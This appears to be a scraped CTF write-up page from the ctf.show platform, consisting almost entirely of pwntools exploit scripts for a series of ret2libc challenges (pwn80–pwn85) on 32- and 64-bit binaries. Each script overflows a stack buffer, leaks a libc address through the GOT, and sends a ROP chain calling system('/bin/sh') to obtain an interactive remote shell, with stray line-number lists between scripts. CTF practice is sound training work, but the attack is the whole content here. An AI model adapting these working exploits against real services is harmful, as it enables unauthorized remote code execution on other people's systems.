from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

p = remote('pwn.challenge.ctf.show', 28237)
elf = ELF('../code/pwn')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.sym['main']

offset = 0x208 + 4

payload = b'a' * offset + p32(puts_plt) + p32(main_addr) + p32(puts_got)

p.recvuntil('Enter your input: ')
p.sendline(payload)

puts_addr = u32(p.recvuntil('\xf7')[-4:])
log.success(hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)

libcbase = puts_addr - libc.dump('puts')

sys_addr = libcbase + libc.dump('system')
bin_sh_addr = libcbase + libc.dump('str_bin_sh')

payload2 = b'a' * offset + p32(sys_addr) + p32(main_addr) + p32(bin_sh_addr)
p.recvuntil('Enter your input: ')
p.sendline(payload2)

p.interactive()

pwn81(ret2libc)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

# context(arch = 'amd64',os = 'linux',log_level = 'debug')

p = remote('pwn.challenge.ctf.show', 28251)
libc = ELF('./libc.so.6')

p.recvuntil("Maybe it's simple,O.o\n")

system = int(p.recvline(),16)

log.success(hex(system))

libcbase = system - libc.sym['system']
bin_sh_addr = libcbase + next(libc.search('/bin/sh'))
pop_rdi = libcbase + 0x2164f
ret = libcbase + 0x8aa

payload = cyclic(136) + p64(pop_rdi) + p64(bin_sh_addr) + p64(ret) + p64(system)

p.send(payload)

p.interactive()

pwn82(ret2libc + No RELRO)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *

p = remote('pwn.challenge.ctf.show', 28209)
elf = ELF('../code/pwn')

write_plt = elf.plt['write']
write_got = elf.got['write']
show_addr = elf.sym['show']

p.recvuntil('Welcome to CTFshowPWN!\n')

offset = 0x6C + 4

payload = b'a' * offset + p32(write_plt) + p32(show_addr) + p32(1) + p32(write_got) + p32(10)

p.sendline(payload)

write_addr = u32(p.recvuntil('\xf7'))

log.success(hex(write_addr))

libc = LibcSearcher('write', write_addr)

libcbase = write_addr - libc.dump('write')

system = libcbase + libc.dump('system')
bin_sh_addr = libcbase + libc.dump('str_bin_sh')

payload2 = b'a' * offset + p32(system) + p32(show_addr) + p32(bin_sh_addr)

p.sendline(payload2)

p.interactive()

pwn83(ret2libc + Partial RELRO)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *

p = remote('pwn.challenge.ctf.show', 28178)
elf = ELF('../code/pwn')

write_plt = elf.plt['write']
write_got = elf.got['write']
show_addr = elf.sym['show']

p.recvuntil('Welcome to CTFshowPWN!\n')

offset = 0x6C + 4

payload = b'a' * offset + p32(write_plt) + p32(show_addr) + p32(1) + p32(write_got) + p32(10)

p.sendline(payload)

write_addr = u32(p.recvuntil('\xf7'))

log.success(hex(write_addr))

libc = LibcSearcher('write', write_addr)

libcbase = write_addr - libc.dump('write')

system = libcbase + libc.dump('system')
bin_sh_addr = libcbase + libc.dump('str_bin_sh')

payload2 = b'a' * offset + p32(system) + p32(show_addr) + p32(bin_sh_addr)

p.sendline(payload2)

p.interactive()

pwn84(ret2libc + No RELRO)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
from LibcSearcher import *

p = remote('pwn.challenge.ctf.show', 28235)
elf = ELF('../code/pwn')

write_plt = elf.plt['write']
write_got = elf.got['write']
show_addr = elf.sym['show']

p.recvuntil('Welcome to CTFshowPWN!\n')

offset = 0x70 + 8

pop_rdi = 0x400773
pop_rsi_r15 = 0x400771

payload = b'a' * offset + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(write_got) + p64(0) + p64(write_plt) + p64(show_addr)

p.sendline(payload)

write_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))

log.success(hex(write_addr))

libc = LibcSearcher('write', write_addr)

libcbase = write_addr - libc.dump('write')

system = libcbase + libc.dump('system')
bin_sh_addr = libcbase + libc.dump('str_bin_sh')

payload2 = b'a' * offset + p64(pop_rdi) + p64(bin_sh_addr) + p64(system)

p.sendline(payload2)

p.interactive()

pwn85(ret2libc + Partial RELRO)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
from LibcSearcher import *

p = remote('pwn.challenge.ctf.show', 28267)
elf = ELF('../code/pwn')

write_plt = elf.plt['write']
write_got = elf.got['write']
show_addr = elf.sym['show']

p.recvuntil('Welcome to CTFshowPWN!\n')

offset = 0x70 + 8

pop_rdi = 0x4007a3
pop_rsi_r15 = 0x4007a1

payload = b'a' * offset + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(write_got) + p64(0) + p64(write_plt) + p64(show_addr)

p.sendline(payload)

write_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))

log.success(hex(write_addr))

libc = LibcSearcher('write', write_addr)

libcbase = write_addr - libc.dump('write')

system = libcbase + libc.dump('system')
bin_sh_addr = libcbase + libc.dump('str_bin_sh')

payload2 = b'a' * offset + p64(pop_rdi) + p64(bin_sh_addr) + p64(system)

p.sendline(payload2)

p.interactive()

pwn86